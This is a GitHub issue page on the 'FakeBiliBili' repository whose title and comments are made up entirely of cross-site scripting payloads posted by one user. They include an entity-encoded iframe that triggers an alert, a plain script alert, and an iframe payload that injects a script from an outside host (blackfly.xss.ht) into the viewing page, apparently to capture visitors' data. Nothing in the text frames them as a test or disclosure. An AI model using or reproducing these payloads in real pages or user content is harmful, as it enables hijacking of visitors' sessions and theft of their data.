miserydx/FakeBiliBili

"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;">

blackfly06 opened this issue · 1 comments

blackfly06 commented
<SCRIPT>alert('gotcha');</SCRIPT>
blackfly06 commented

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://blackfly.xss.ht";parent.document.body.appendChild(a);</script>">